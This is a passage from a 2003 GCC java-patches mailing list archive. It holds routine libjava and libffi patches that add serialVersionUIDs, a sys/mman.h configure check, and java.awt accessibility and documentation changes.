+426,12 @@ int main(/*@unused@*/ int argc, /*@unuse ffi_arg rint; long long rlonglong; +# if FFI_CLOSURES /* The closure must not be an automatic variable on platforms (Solaris) that forbid stack execution by default. */ static ffi_closure cl; - +#endif + ffi_type * cl_arg_types[17]; ffi_type ts1_type; -- Andreas Jaeger SuSE Labs aj@suse.de private aj@arthur.inka.de http://www.suse.de/~aj From java-patches-return-5801-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 10:03:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26726 invoked by alias); 14 Jan 2003 10:03:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26704 invoked from network); 14 Jan 2003 10:03:06 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 209.249.29.67 with SMTP; 14 Jan 2003 10:03:06 -0000 Received: from [141.169.250.14] by mail02.agrinet.ch with HTTP; Tue, 14 Jan 2003 11:02:52 +0100 Message-ID: <3DEE86F600003D67@mail02.agrinet.ch> Date: Tue, 14 Jan 2003 11:02:52 +0100 In-Reply-To: From: =?iso-8859-1?Q?Andreas=20Tobler?= Subject: =?iso-8859-1?Q?Re=3A=20=5Blibffi=5D=20closures=20for=20sparc?= To: =?iso-8859-1?Q?Andreas=20Jaeger?= , =?iso-8859-1?Q?Jeff=20Sturm?= Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, -- Original Message -- >2003-01-14 Andreas Jaeger > > * src/ffitest.c (main): Only use ffi_closures if those are > supported. This failure is born in my lab ;) Thank you for catching this. I didn't test without CLOSURES. Andreas From java-patches-return-5802-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 11:04:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11304 invoked by alias); 14 Jan 2003 11:04:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11289 invoked from network); 14 Jan 2003 11:04:33 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 209.249.29.67 with SMTP; 14 Jan 2003 11:04:33 -0000 Received: from majestix.konqueror.de (dynadsl-080-228-67-006.ewetel.net [80.228.67.6]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h0EB4JsO021938 for ; Tue, 14 Jan 2003 12:04:20 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.100]) by majestix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18YNxp-0001eY-00 for ; Tue, 14 Jan 2003 11:06:33 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: java.net serialization Date: Tue, 14 Jan 2003 11:01:24 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_0/9I+9NY75c6LeG" Message-Id: <200301141101.27454.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_0/9I+9NY75c6LeG Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I have written a little patch for java.net and its serialization. Please review and comment. Michael - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+I9/3WSOgCCdjSDsRAj7BAJ40dw+o2A0m+Hp0EqYYgYu5Oa0ypACfbTGj tFnGQN/+ANrKp6pxPdfg4BY= =MFf8 -----END PGP SIGNATURE----- --Boundary-00=_0/9I+9NY75c6LeG Content-Type: text/x-diff; charset="iso-8859-15"; name="java-net-serialization.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java-net-serialization.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1626 diff -b -u -r1.1626 ChangeLog --- ChangeLog 11 Jan 2003 01:17:18 -0000 1.1626 +++ ChangeLog 14 Jan 2003 09:57:59 -0000 @@ -1,3 +1,12 @@ +2003-01-14 Michael Koch + + * java/net/InetSocketAddress.java + (serialVersionUID): New member variable. + * java/net/NetPermission.java + (NetPermission): Dont implement java.io.Serialization directly. + * java/net/SocketAddress.java: + (serialVersionUID): Documentation added. + 2003-01-10 Michael Koch * java/net/DatagramSocket.java Index: java/net/InetSocketAddress.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/InetSocketAddress.java,v retrieving revision 1.6 diff -b -u -r1.6 InetSocketAddress.java --- java/net/InetSocketAddress.java 3 Oct 2002 14:30:48 -0000 1.6 +++ java/net/InetSocketAddress.java 14 Jan 2003 09:59:00 -0000 @@ -47,6 +47,11 @@ public class InetSocketAddress extends SocketAddress { + /** + * Compatible with JDK 1.4+ + */ + private static final long serialVersionUID = 5076001401234631237L; + String hostname; InetAddress addr; int port; Index: java/net/NetPermission.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/NetPermission.java,v retrieving revision 1.3 diff -b -u -r1.3 NetPermission.java --- java/net/NetPermission.java 25 Sep 2002 17:14:09 -0000 1.3 +++ java/net/NetPermission.java 14 Jan 2003 09:59:00 -0000 @@ -48,7 +48,6 @@ * @author Aaron M. Renn (arenn@urbanophile.com) */ public final class NetPermission extends BasicPermission - implements java.io.Serializable { static final long serialVersionUID = -8343910153355041693L; Index: java/net/SocketAddress.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/SocketAddress.java,v retrieving revision 1.3 diff -b -u -r1.3 SocketAddress.java --- java/net/SocketAddress.java 18 Nov 2002 13:22:51 -0000 1.3 +++ java/net/SocketAddress.java 14 Jan 2003 09:59:00 -0000 @@ -48,6 +48,9 @@ */ public abstract class SocketAddress implements Serializable { + /** + * Compatible with JDK 1.4+ + */ static final long serialVersionUID = 5215720748342549866L; /** --Boundary-00=_0/9I+9NY75c6LeG-- From java-patches-return-5803-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 11:04:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11305 invoked by alias); 14 Jan 2003 11:04:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11293 invoked from network); 14 Jan 2003 11:04:34 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 209.249.29.67 with SMTP; 14 Jan 2003 11:04:34 -0000 Received: from majestix.konqueror.de (dynadsl-080-228-67-006.ewetel.net [80.228.67.6]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h0EB4JsP021938 for ; Tue, 14 Jan 2003 12:04:21 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.100]) by majestix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18YNxo-0001eY-01 for ; Tue, 14 Jan 2003 11:06:32 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: configure check for sys/mman.h Date: Tue, 14 Jan 2003 11:04:01 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_RC+I+xR9cXzsanP" Message-Id: <200301141104.04692.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_RC+I+xR9cXzsanP Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I've written a little patch to check for the include file sys/mman.h. This file will be needed for java.nio's ability of memory mapping of files. It makes the functions mmap(), munmap() and msync() available. Please review and comment. Michael - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+I+CUWSOgCCdjSDsRAjKrAJ9N1c+RaqOGXCYj1Htt8NPL2xbe9QCfe5e5 oD7DNr+tt4tvLAjWRil00cY= =2UHq -----END PGP SIGNATURE----- --Boundary-00=_RC+I+xR9cXzsanP Content-Type: text/x-diff; charset="iso-8859-15"; name="java-config.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java-config.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1626 diff -b -u -r1.1626 ChangeLog --- ChangeLog 11 Jan 2003 01:17:18 -0000 1.1626 +++ ChangeLog 14 Jan 2003 09:45:52 -0000 @@ -1,3 +1,9 @@ +2003-01-14 Michael Koch + + * configure.in: Check for sys/mman.h header. + * configure: Regenerated. + * config.h: Regenerated. + 2003-01-10 Michael Koch * java/net/DatagramSocket.java Index: configure =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure,v retrieving revision 1.160 diff -b -u -r1.160 configure --- configure 16 Dec 2002 18:22:50 -0000 1.160 +++ configure 14 Jan 2003 09:45:54 -0000 @@ -5769,7 +5769,7 @@ rm -f conftest* CFLAGS="$save_CFLAGS" -for ac_hdr in unistd.h bstring.h sys/time.h sys/types.h fcntl.h sys/ioctl.h sys/filio.h sys/stat.h sys/select.h sys/socket.h netinet/in.h arpa/inet.h netdb.h net/if.h pwd.h sys/config.h stdint.h langinfo.h locale.h +for ac_hdr in unistd.h bstring.h sys/time.h sys/types.h fcntl.h sys/ioctl.h sys/filio.h sys/stat.h sys/mman.h sys/select.h sys/socket.h netinet/in.h arpa/inet.h netdb.h net/if.h pwd.h sys/config.h stdint.h langinfo.h locale.h do ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'` echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6 Index: configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.143 diff -b -u -r1.143 configure.in --- configure.in 16 Dec 2002 18:22:52 -0000 1.143 +++ configure.in 14 Jan 2003 09:45:56 -0000 @@ -814,7 +814,7 @@ dnl We check for sys/filio.h because Solaris 2.5 defines FIONREAD there. dnl On that system, sys/ioctl.h will not include sys/filio.h unless dnl BSD_COMP is defined; just including sys/filio.h is simpler. -AC_CHECK_HEADERS(unistd.h bstring.h sys/time.h sys/types.h fcntl.h sys/ioctl.h sys/filio.h sys/stat.h sys/select.h sys/socket.h netinet/in.h arpa/inet.h netdb.h net/if.h pwd.h sys/config.h stdint.h langinfo.h locale.h) +AC_CHECK_HEADERS(unistd.h bstring.h sys/time.h sys/types.h fcntl.h sys/ioctl.h sys/filio.h sys/stat.h sys/mman.h sys/select.h sys/socket.h netinet/in.h arpa/inet.h netdb.h net/if.h pwd.h sys/config.h stdint.h langinfo.h locale.h) dnl We avoid AC_HEADER_DIRENT since we really only care about dirent.h dnl for now. If you change this, you also must update natFile.cc. AC_CHECK_HEADERS(dirent.h) Index: include/config.h.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/include/config.h.in,v retrieving revision 1.45 diff -b -u -r1.45 config.h.in --- include/config.h.in 21 Oct 2002 01:50:13 -0000 1.45 +++ include/config.h.in 14 Jan 2003 09:45:57 -0000 @@ -367,6 +367,9 @@ /* Define if you have the header file. */ #undef HAVE_SYS_IOCTL_H +/* Define if you have the header file. */ +#undef HAVE_SYS_MMAN_H + /* Define if you have the header file. */ #undef HAVE_SYS_SELECT_H --Boundary-00=_RC+I+xR9cXzsanP-- From java-patches-return-5804-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 11:37:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21414 invoked by alias); 14 Jan 2003 11:37:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21356 invoked from network); 14 Jan 2003 11:37:32 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by 209.249.29.67 with SMTP; 14 Jan 2003 11:37:32 -0000 Received: from majestix.konqueror.de (dynadsl-080-228-65-128.ewetel.net [80.228.65.128]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h0EBbFsN001339 for ; Tue, 14 Jan 2003 12:37:16 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.100]) by majestix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18YPNb-0001ru-00 for ; Tue, 14 Jan 2003 12:37:15 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: java.awt - documentation and others Date: Tue, 14 Jan 2003 12:36:23 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_3Y/I+glML5uHnhZ" Message-Id: <200301141236.24021.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_3Y/I+glML5uHnhZ Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I have written a "little" patch for java.awt to add some documentation and some things more. Please review and comment. Michael - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+I/Y3WSOgCCdjSDsRAj9EAJ9rcHicK7OIqxu18UU9Jyh1K7gyjgCfVNfa VZQUNudSlaEkra56SMa2oZQ= =nakn -----END PGP SIGNATURE----- --Boundary-00=_3Y/I+glML5uHnhZ Content-Type: text/x-diff; charset="iso-8859-15"; name="java-awt.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java-awt.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1626 diff -b -u -r1.1626 ChangeLog --- ChangeLog 11 Jan 2003 01:17:18 -0000 1.1626 +++ ChangeLog 14 Jan 2003 11:31:55 -0000 @@ -1,3 +1,75 @@ +2003-01-14 Michael Koch + + * java/awt/Label.java + (Label): Implements javax.accessibility.Accessible; + * java/awt/List.java + (List): Implements javax.accessibility.Accessible; + * java/awt/ScrollPane.java + (ScrollPane): Implements javax.accessibility.Accessible; + * java/awt/Scrollbar.java + (Scrollbar): Implements javax.accessibility.Accessible; + * java/awt/TextComponent.java + (setCaretPosition): Throw exception, documentation added. + * java/awt/Toolkit.java: + Added some newlines in method documentations. + (createButton): Exception documentation added. + (createTextField): Exception documentation added. + (createLabel): Exception documentation added. + (createList): Exception documentation added. + (createCheckbox): Exception documentation added. + (createScrollbar): Exception documentation added. + (createScrollPane): Exception documentation added. + (createTextArea): Exception documentation added. + (createChoice): Exception documentation added. + (createFrame): Exception documentation added. + (createWindow): Exception documentation added. + (createDialog): Exception documentation added. + (createMenuBar): Exception documentation added. + (createMenu): Exception documentation added. + (createMenuItem): Exception documentation added. + (createFileDialog): Exception documentation added. + (createCheckboxMenuItem): Exception documentation added. + (loadSystemColors): Exception documentation added. + (setDynamicLayout): Exception documentation added. + (isDynamicLayoutSet): Exception documentation added. + (isDynamicLayoutActive): Exception documentation added. + (getScreenSize): Exception documentation added. + (getScreenResolution): Exception documentation added. + (getScreenInsets): Exception documentation added. + (getColorModel): Exception documentation added. + (getSystemClipboard): Exception documentation added. + (getSystemSelection): Exception documentation added. + (getMenuShortcutKeyMask): Exception documentation added. + (getSystemEventQueue): Exception documentation added. + * java/awt/Window.java: + Reindented some code. + (Window): Centralized implementation, documentation added. + (finalize): Documentation added. + (hide): Fixed typo in comment. + (getWindowListeners): Documentation added. + * java/awt/color/ColorSpace.java + (toRGB): Documentation added. + * java/awt/color/ICC_ColorSpace.java + (ICC_ColorSpace): Documentation added. + (toRGB): Throw exception, documentation added. + (fromRGB): Throw exception, documentation added. + (toCIEXYZ): Documentation added. + (fromCIEXYZ): Documentation added. + (getMinValue): Documentation added. + (getMaxValue): Documentation added. + * java/awt/geom/Dimension2D.java + (clone): Documentation added. + * java/awt/geom/GeneralPath.java + (clone): Documentation added. + * java/awt/geom/Line2D.java + (clone): Documentation added. + * java/awt/geom/QuadCurve2D.java + (clone): Documentation added. + * java/awt/image/ColorModel.java + (ColorModel): Throw exception, documentation added. + * java/awt/image/ImageFilter.java + (clone): Doesnt throw CloneNotSupportedException. + 2003-01-10 Michael Koch * java/net/DatagramSocket.java Index: java/awt/Label.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Label.java,v retrieving revision 1.9 diff -b -u -r1.9 Label.java --- java/awt/Label.java 2 Jan 2003 00:14:22 -0000 1.9 +++ java/awt/Label.java 14 Jan 2003 11:32:52 -0000 @@ -40,6 +40,8 @@ import java.awt.peer.LabelPeer; import java.awt.peer.ComponentPeer; +import java.io.Serializable; +import javax.accessibility.Accessible; /** * This component is used for displaying simple text strings that cannot @@ -48,7 +50,7 @@ * @author Aaron M. Renn (arenn@urbanophile.com) * @author Tom Tromey */ -public class Label extends Component implements java.io.Serializable +public class Label extends Component implements Serializable, Accessible { /* Index: java/awt/List.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/List.java,v retrieving revision 1.9 diff -b -u -r1.9 List.java --- java/awt/List.java 5 Jan 2003 01:18:21 -0000 1.9 +++ java/awt/List.java 14 Jan 2003 11:32:52 -0000 @@ -46,13 +46,15 @@ import java.awt.peer.ListPeer; import java.awt.peer.ComponentPeer; import java.util.Vector; +import javax.accessibility.Accessible; /** * Class that implements a listbox widget * * @author Aaron M. Renn (arenn@urbanophile.com) */ -public class List extends Component implements ItemSelectable, Serializable +public class List extends Component + implements ItemSelectable, Serializable, Accessible { /* Index: java/awt/ScrollPane.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/ScrollPane.java,v retrieving revision 1.6 diff -b -u -r1.6 ScrollPane.java --- java/awt/ScrollPane.java 2 Jan 2003 00:14:22 -0000 1.6 +++ java/awt/ScrollPane.java 14 Jan 2003 11:32:53 -0000 @@ -41,6 +41,8 @@ import java.awt.peer.ScrollPanePeer; import java.awt.peer.ContainerPeer; import java.awt.peer.ComponentPeer; +import java.io.Serializable; +import javax.accessibility.Accessible; /** * This widget provides a scrollable region that allows a single @@ -48,7 +50,7 @@ * * @author Aaron M. Renn (arenn@urbanophile.com) */ -public class ScrollPane extends Container implements java.io.Serializable +public class ScrollPane extends Container implements Accessible, Serializable { /* Index: java/awt/Scrollbar.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Scrollbar.java,v retrieving revision 1.9 diff -b -u -r1.9 Scrollbar.java --- java/awt/Scrollbar.java 2 Jan 2003 00:14:22 -0000 1.9 +++ java/awt/Scrollbar.java 14 Jan 2003 11:32:53 -0000 @@ -42,6 +42,8 @@ import java.awt.peer.ComponentPeer; import java.awt.event.AdjustmentListener; import java.awt.event.AdjustmentEvent; +import java.io.Serializable; +import javax.accessibility.Accessible; /** * This class implements a scrollbar widget. @@ -49,8 +51,9 @@ * @author Aaron M. Renn (arenn@urbanophile.com) * @author Tom Tromey */ -public class Scrollbar extends Component implements Adjustable, - java.io.Serializable +public class Scrollbar extends Component implements Accessible, + Adjustable, + Serializable { // FIXME: Serialization readObject/writeObject Index: java/awt/TextComponent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/TextComponent.java,v retrieving revision 1.7 diff -b -u -r1.7 TextComponent.java --- java/awt/TextComponent.java 24 Mar 2002 22:49:26 -0000 1.7 +++ java/awt/TextComponent.java 14 Jan 2003 11:32:53 -0000 @@ -291,10 +291,18 @@ * Sets the caret position to the specified value. * * @param caretPosition The new caret position. + * + * @exception IllegalArgumentException If the value supplied for position + * is less than zero. + * + * @since 1.1 */ public synchronized void setCaretPosition(int caretPosition) { + if (caretPosition < 0) + throw new IllegalArgumentException (); + TextComponentPeer tcp = (TextComponentPeer)getPeer(); if (tcp != null) tcp.setCaretPosition(caretPosition); Index: java/awt/Toolkit.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Toolkit.java,v retrieving revision 1.17 diff -b -u -r1.17 Toolkit.java --- java/awt/Toolkit.java 16 Sep 2002 09:46:37 -0000 1.17 +++ java/awt/Toolkit.java 14 Jan 2003 11:32:53 -0000 @@ -123,7 +123,10 @@ * Creates a peer object for the specified Button. * * @param target The Button to create the peer for. + * * @return The peer for the specified Button object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract ButtonPeer createButton(Button target); @@ -132,6 +135,8 @@ * * @param target The TextField to create the peer for. * @return The peer for the specified TextField object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract TextFieldPeer createTextField(TextField target); @@ -140,6 +145,8 @@ * * @param target The Label to create the peer for. * @return The peer for the specified Label object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract LabelPeer createLabel(Label target); @@ -148,6 +155,8 @@ * * @param target The List to create the peer for. * @return The peer for the specified List object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract ListPeer createList(List target); @@ -156,6 +165,8 @@ * * @param target The Checkbox to create the peer for. * @return The peer for the specified Checkbox object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract CheckboxPeer createCheckbox(Checkbox target); @@ -164,6 +175,8 @@ * * @param target The Scrollbar to create the peer for. * @return The peer for the specified Scrollbar object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract ScrollbarPeer createScrollbar(Scrollbar target); @@ -172,6 +185,8 @@ * * @param target The ScrollPane to create the peer for. * @return The peer for the specified ScrollPane object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract ScrollPanePeer createScrollPane(ScrollPane target); @@ -180,6 +195,8 @@ * * @param target The TextArea to create the peer for. * @return The peer for the specified TextArea object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract TextAreaPeer createTextArea(TextArea target); @@ -188,6 +205,8 @@ * * @param target The Choice to create the peer for. * @return The peer for the specified Choice object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract ChoicePeer createChoice(Choice target); @@ -196,6 +215,8 @@ * * @param target The Frame to create the peer for. * @return The peer for the specified Frame object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract FramePeer createFrame(Frame target); @@ -220,6 +241,8 @@ * * @param target The Window to create the peer for. * @return The peer for the specified Window object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract WindowPeer createWindow(Window target); @@ -228,6 +251,8 @@ * * @param target The dialog to create the peer for * @return The peer for the specified font name. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract DialogPeer createDialog(Dialog target); @@ -236,6 +261,8 @@ * * @param target The MenuBar to create the peer for. * @return The peer for the specified MenuBar object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract MenuBarPeer createMenuBar(MenuBar target); @@ -244,6 +271,8 @@ * * @param target The Menu to create the peer for. * @return The peer for the specified Menu object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract MenuPeer createMenu(Menu target); @@ -252,6 +281,8 @@ * * @param target The PopupMenu to create the peer for. * @return The peer for the specified PopupMenu object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract PopupMenuPeer createPopupMenu(PopupMenu target); @@ -260,6 +291,8 @@ * * @param target The MenuItem to create the peer for. * @return The peer for the specified MenuItem object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract MenuItemPeer createMenuItem(MenuItem target); @@ -268,6 +301,8 @@ * * @param target The FileDialog to create the peer for. * @return The peer for the specified FileDialog object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract FileDialogPeer createFileDialog(FileDialog target); @@ -276,6 +311,8 @@ * * @param target The CheckboxMenuItem to create the peer for. * @return The peer for the specified CheckboxMenuItem object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract CheckboxMenuItemPeer createCheckboxMenuItem(CheckboxMenuItem target); @@ -310,6 +347,8 @@ * the interface used by the SystemColors class. * * @param colors The array to copy the system colors into. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected void loadSystemColors(int systemColors[]) { @@ -318,6 +357,8 @@ /** * @since 1.4 + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public void setDynamicLayout(boolean dynamic) { @@ -325,6 +366,8 @@ /** * @since 1.4 + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected boolean isDynamicLayoutSet() { @@ -333,6 +376,8 @@ /** * @since 1.4 + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public boolean isDynamicLayoutActive() { @@ -343,6 +388,8 @@ * Returns the dimensions of the screen in pixels. * * @return The dimensions of the screen in pixels. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public abstract Dimension getScreenSize(); @@ -350,10 +397,14 @@ * Returns the screen resolution in dots per square inch. * * @return The screen resolution in dots per square inch. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public abstract int getScreenResolution(); /** + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + * * @since 1.4 */ public Insets getScreenInsets(GraphicsConfiguration gc) @@ -365,6 +416,8 @@ * Returns the color model of the screen. * * @return The color model of the screen. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public abstract ColorModel getColorModel(); @@ -396,6 +449,7 @@ * if the property is not set. * * @return An instance of the system default toolkit. + * * @throws AWTError If the toolkit cannot be loaded. */ public static Toolkit getDefaultToolkit() @@ -450,6 +504,7 @@ * @param height The height of the image. * @param observer The observer to receive events about the preparation * process. + * * @return true if the image is already prepared for rendering, * false otherwise. */ @@ -465,6 +520,7 @@ * @param height The height of the image. * @param observer The observer to receive events about the preparation * process. + * * @return A union of the bitmasks from * java.awt.image.ImageObserver that indicates the current * state of the imaging readying process. @@ -476,6 +532,7 @@ * Creates an image using the specified ImageProducer * * @param producer The ImageProducer to create the image from. + * * @return The created image. */ public abstract Image createImage(ImageProducer producer); @@ -485,6 +542,7 @@ * a recognized format. Supported formats vary from toolkit to toolkit. * * @param data The raw image data. + * * @return The created image. */ public Image createImage(byte[] data) @@ -500,6 +558,7 @@ * @param data The raw image data. * @param offset The offset into the data where the image data starts. * @param len The length of the image data. + * * @return The created image. */ public abstract Image createImage(byte[] data, int offset, int len); @@ -511,6 +570,7 @@ * @param frame The window initiating the print job. * @param title The print job title. * @param props The print job properties. + * * @return The requested print job, or null if the job * was cancelled. */ @@ -536,10 +596,14 @@ * Returns the system clipboard. * * @return THe system clipboard. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public abstract Clipboard getSystemClipboard(); /** + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + * * @since 1.4 */ public Clipboard getSystemSelection() @@ -553,6 +617,8 @@ * to change the default. * * @return The key mask for the menu accelerator key. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public int getMenuShortcutKeyMask() { @@ -649,6 +715,8 @@ * is shared system wide. * * @return The event queue for this applet (or application) + * + * @exception SecurityException FIXME */ public final EventQueue getSystemEventQueue() { Index: java/awt/Window.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Window.java,v retrieving revision 1.14 diff -b -u -r1.14 Window.java --- java/awt/Window.java 9 Nov 2002 23:23:32 -0000 1.14 +++ java/awt/Window.java 14 Jan 2003 11:32:53 -0000 @@ -86,29 +86,63 @@ * parent. The window will initially be invisible. * * @param parent The owning Frame of this window. + * + * @exception IllegalArgumentException If the owner's GraphicsConfiguration + * is not from a screen device, or if owner is null; this exception is always + * thrown when GraphicsEnvironment.isHeadless returns true. */ public Window(Frame owner) { - this((Window) owner); + this (owner, owner.getGraphicsConfiguration ()); } - /** @since 1.2 */ + /** + * Initializes a new instance of Window with the specified + * parent. The window will initially be invisible. + * + * @exception IllegalArgumentException If the owner's GraphicsConfiguration + * is not from a screen device, or if owner is null; this exception is always + * thrown when GraphicsEnvironment.isHeadless returns true. + * + * @since 1.2 + */ public Window(Window owner) { - this(); + this (owner, owner.getGraphicsConfiguration ()); + } + + /** + * Initializes a new instance of Window with the specified + * parent. The window will initially be invisible. + * + * @exception IllegalArgumentException If owner is null or if gc is not from a + * screen device; this exception is always thrown when + * GraphicsEnvironment.isHeadless returns true. + * + * @since 1.3 + */ + public Window(Window owner, GraphicsConfiguration gc) + { + this (); + if (owner == null) - throw new IllegalArgumentException("owner must not be null"); + throw new IllegalArgumentException ("owner must not be null"); + + try + { + if ((gc == null) + || (gc.getDevice != GraphicsEnvironment.getDefaultScreenDevice ())) + throw new IllegalArgumentException (); + } + catch (HeadlessException e) + { + throw new IllegalArgumentException (); + } this.parent = owner; // FIXME: add to owner's "owned window" list //owner.owned.add(this); // this should be a weak reference - } - - /** @since 1.3 */ - public Window(Window owner, GraphicsConfiguration gc) - { - this(owner); /* FIXME: Security check SecurityManager.checkTopLevelWindow(...) @@ -134,6 +168,12 @@ return super.getGraphicsConfigurationImpl(); } + /** + * Disposes of the input methods and context, and removes the WeakReference + * which formerly pointed 